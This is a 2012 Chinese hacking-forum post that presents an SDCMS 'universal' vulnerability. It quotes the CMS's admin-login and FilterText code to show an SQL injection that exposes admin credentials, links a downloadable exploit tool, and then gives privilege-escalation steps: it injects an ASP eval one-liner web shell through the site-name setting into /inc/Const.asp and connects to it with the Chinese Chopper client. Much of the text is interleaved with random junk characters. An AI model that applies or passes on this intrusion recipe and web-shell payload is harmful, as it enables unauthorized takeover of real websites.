找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3492|回复: 0
打印 上一主题 下一主题

SDCMS通杀漏洞利用工具及提权拿SHELL

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 20:57:02 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
作者:T00LS 鬼哥* d; R8 U, [. R+ c2 }5 n; _6 ?
漏洞文件:后台目录/index.asp
6 b2 a0 F* X6 ?6 n* H" s" a" A* i8 y% d
Sub Check
8 G1 T( C: p, Q    Dim username,password,code,getcode,Rs2 A: }  E9 h, E/ }* t; K4 ]6 g
    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
7 Y: f* T: c$ N    username=FilterText(Trim(Request.Form("username")),1)
7 g) o* Q! `5 M/ R- w$ I1 v    password=FilterText(Trim(Request.Form("password")),1)* i9 X6 P! t* K4 }: v$ ?
    code=Trim(Request.Form("yzm"))
3 |& D5 {  k4 l& N, X% D3 S    getcode=Session("SDCMSCode")
2 i1 H) W# k0 b: L    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died3 l* g0 e/ A- w2 @0 B1 Q4 A
    IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"ied
% t7 ^* Q, {& N  X! I    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"ied  e  C/ V; n9 Y  M" W% Q7 N
    IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"ied) _8 U& y, P- }3 ~- C* Q
    IF username="" or password="" Then
1 W! A/ n' j8 I) ~  l" p0 \, X; L. X- F        Echo "用户名或密码不能为空"ied! i# l, U2 ^8 v
    Else1 ^; c1 s) Z, m# e- A: B
        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
. `0 t3 V1 q" X( q0 ~        IF Rs.Eof Then+ |! t% H& \% V! s$ P- Y& }
            AddLog username,GetIp,"登录失败",1
/ ~3 J# v4 U& q- `& U            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"0 |0 w# `# m5 a+ ^' _6 L
        Else
$ C) F  F  k( k8 C            Add_Cookies "sdcms_id",Rs(0)( H) Q# X9 N, X" i
            Add_Cookies "sdcms_name",username
' s% n, `8 y2 l% P% f            Add_Cookies "sdcms_pwd",Rs(2)4 `2 E: v* n  Q' Q
            Add_Cookies "sdcms_admin",Rs(3)
; u7 S1 X" f/ j/ G            Add_Cookies "sdcms_alllever",Rs(4)3 G: O, R2 d& z; ]
            Add_Cookies "sdcms_infolever",Rs(5)9 f! [# Q3 F- \2 g
            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
* w% |* T* a) @' D% f: ]8 Y4 }            AddLog username,GetIp,"登录成功",1
% b: }- f( l7 h' }            '自动删除30天前的Log记录
& R4 x8 i  U8 A% X            IF Sdcms_DataType Then
) v9 P& }' T  R6 x. |# {                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
, i' k  |9 y3 R( Z            Else
. L/ w& F! Q* U. J0 B+ V6 T3 {                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
- H4 Q5 a) _5 }# b+ ?- B& u$ r6 u  v  I            End IF: D$ F# c: k1 x& x. L
            Go("sdcms_index.asp")( Q# |: r6 `5 M0 m
        End IF
$ ?+ W" h8 l+ q( @/ \        Rs.Close( ]  M3 ~+ S' j# x: U- v, f
        Set Rs=Nothing+ |% N. n- ?6 k. S& M
    End IF! v/ `9 l3 ^- T0 {
End Sub- ^: L4 s; c; Q- C

9 `- ~8 m0 ~7 n% o( }- f( J’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码6 }  |5 D( R$ }) y

9 p/ k/ A4 T2 A* |0 yFunction FilterText(ByVal t0,ByVal t1)
$ z  N# l, M* @  w    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
9 l8 Z8 q4 i: ^$ W3 l" p" A    t0=Trim(t0)5 y+ r+ S8 y5 E
    Select Case t1
, |) l+ D2 q! n# t% v        Case "1"/ F2 j9 T7 Q; ^9 k$ J
            t0=Replace(t0,Chr(32),"")
6 H0 S) Y# c- [- x  G) u. p$ b            t0=Replace(t0,Chr(13),"")! P- J  R7 T3 k* m! @, W& L  g
            t0=Replace(t0,Chr(10)&Chr(10),"")
6 N) ^- |+ Q( g$ `2 x$ N            t0=Replace(t0,Chr(10),"")3 z- ~" {4 `( N+ q
        Case "2"4 q6 j2 y& c' r. q) y8 O% ]
            t0=Replace(t0,Chr(8),"")'回格) B. }2 Q3 M* S: x- K7 z: v% k
            t0=Replace(t0,Chr(9),"")'tab(水平制表符). ^) K8 U  e/ C6 h+ g0 ]% y7 \0 _
            t0=Replace(t0,Chr(10),"")'换行
2 W9 T  z( f. Z* F! E+ K            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)3 h& W1 k, ^9 w/ Y
            t0=Replace(t0,Chr(12),"")'换页
! ^- [& _7 q1 P            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
1 V7 @- M5 T" X' V# E' B5 t            t0=Replace(t0,Chr(22),"")
+ E( v' u/ ^4 {! m' N. [! S* A            t0=Replace(t0,Chr(32),"")'空格 SPACE+ d) A4 z) Q( X- E7 H
            t0=Replace(t0,Chr(33),"")'!: t/ d* ?, G' g$ ?4 |
            t0=Replace(t0,Chr(34),"")'") u( R- v. v0 P: C
            t0=Replace(t0,Chr(35),"")'#9 G& y3 ~; _7 H0 L4 r& Y
            t0=Replace(t0,Chr(36),"")'$
. o& w+ |" g$ O; L            t0=Replace(t0,Chr(37),"")'%
& e. e* j  _) P& X  K            t0=Replace(t0,Chr(38),"")'&, Y2 D( a* h; r& d1 G
            t0=Replace(t0,Chr(39),"")''' o! [0 o- T8 }# J/ C$ v
            t0=Replace(t0,Chr(40),"")'(- S- e3 }0 k: k
            t0=Replace(t0,Chr(41),"")')" t$ }8 _9 k* Q. R- C5 C9 T- z+ l- j6 s
            t0=Replace(t0,Chr(42),"")'*
1 w9 \$ q( E4 N# p1 \9 s- C! Q            t0=Replace(t0,Chr(43),"")'+
8 x" M3 W* M" O9 X            t0=Replace(t0,Chr(44),"")',
$ E" c) W3 a" `            t0=Replace(t0,Chr(45),"")'-
) N5 ^+ Y$ f9 f/ l$ [            t0=Replace(t0,Chr(46),"")'.! H- K+ p; `$ O
            t0=Replace(t0,Chr(47),"")'/( x" D- C/ Q( h
            t0=Replace(t0,Chr(58),"")':
1 b9 ?# [  B' E9 O            t0=Replace(t0,Chr(59),"")';
5 Y; s+ g6 y4 Q8 e1 W9 R            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>( }, R* a4 j( f! J" t- T
            t0=Replace(t0,Chr(63),"")'?
  F9 ^0 C  w7 Y7 t0 J( I- H( _            t0=Replace(t0,Chr(64),"")'@" V& i2 g' F! p( }  _9 x. q- k
            t0=Replace(t0,Chr(91),"")'\! D5 ~% i  `7 c( V$ A
            t0=Replace(t0,Chr(92),"")'\
) j, U6 e; q, O7 e) q            t0=Replace(t0,Chr(93),"")']
/ O! P, S3 o: Y5 L8 g            t0=Replace(t0,Chr(94),"")'^3 f. y, _, t' ?
            t0=Replace(t0,Chr(95),"")'_
6 @, S9 ~' `: M2 F- U5 o( y$ X( S$ k            t0=Replace(t0,Chr(96),"")'`) ~4 C1 v/ y) x. I3 h. ~6 {
            t0=Replace(t0,Chr(123),"")'{
9 q5 T1 Q5 I2 D* |* D            t0=Replace(t0,Chr(124),"")'|
' O, C& X5 h- m            t0=Replace(t0,Chr(125),"")'}& R; u: X& _( x$ e6 \8 q
            t0=Replace(t0,Chr(126),"")'~  i9 r" p) y; F4 B6 r! W
    Case Else: U+ y. t8 {# C2 z, ]( F, B
        t0=Replace(t0, "&", "&")- e1 r4 m: M0 L
        t0=Replace(t0, "'", "'")7 Z6 i* [/ |8 B3 X$ u) g
        t0=Replace(t0, """", """)
1 W$ r' c) ]) `1 }' \        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")9 h: B2 C/ A4 f6 ~) Y
    End Select9 W' q- ~& q" {. @3 p0 h$ v
    IF Instr(Lcase(t0),"expression")>0 Then" {* Q8 H# C. J' J
        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
% S, ~: e" \& t' `2 \+ y  h. I+ W! E    End If
3 p0 X( b' G: _, a- T2 ]    FilterText=t0. U6 e2 }0 P1 [, O. q
End Function0 J9 [, y5 p. j

" i6 G' o7 g+ h& I) Z  U看到没。直接参数是1 只过滤
" S) e1 J/ Q/ f2 c$ _9 G" w) y; R                        t0=Replace(t0,Chr(32)," ")
1 ~4 Q8 A9 ~" c9 @2 K8 D                        t0=Replace(t0,Chr(13),"")0 K  p. T* F  M, r. p
                        t0=Replace(t0,Chr(10)&Chr(10),"
; ]9 V2 \* U" @% W& w4 t")# {) ?4 R, @. F% {. W" E/ P2 v% Y
                        t0=Replace(t0,Chr(10),"9 s" z# e( t$ a3 u
"); q' _" ~! v2 |
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
( H8 j& R# ~5 uEXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP$ f  o5 T. v# R& b
' T2 s' j+ z% l* B0 g; F3 F2 W0 D0 ~3 l0 y
测试:
1 c8 F* E3 W6 s# p3 B
" O% F$ [: d! T$ ~& @9 f2 `! \! O/ ^1 M) o# c
现在输入工具上验证码,然后点OK
. C5 Y) K! A8 u, X# c" D7 L! P# g5 Q! K- X* R2 z) }* S( h
& V  y$ ^7 {! X/ ~* y
看到我们直接进入后台管理界面了,呵呵!
( R! @- m) G! H( ]) B3 V; o8 f6 a- A0 R6 q
" B* n' x- A3 _. ?

7 A1 M2 M- M. z1 X这样直接进入后台了。。。。, u+ w/ _1 h% T1 u8 v& ?( K% i

) Y/ h; H" d! H2 ^: m/ t3 l; L, j( W7 g
* g# N) I& h8 O
9 m) _) Y: P9 T2 p9 N! \SDCMS提权:( l6 C8 x+ }8 R; s
: A0 U2 @& C! U: \0 J
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’  即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
; R9 I' i: M( A! J' y: x) I; C* l; H& e7 e" p

% m0 e' y# S' |/ {% u# i, L% U
$ @5 M2 k9 S6 s1 ]OK,现在用菜刀连接下!
# J7 a+ B1 v+ x1 Z% b
) p# C4 v. a5 J2 Z3 w4 S8 H, r. S  j* m7 {, ^; z2 m4 M

+ i, D! S' L9 \, `  |3 s
5 B( d/ i( f- T" [! z' s) A' c* ]/ f9 m* ?
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表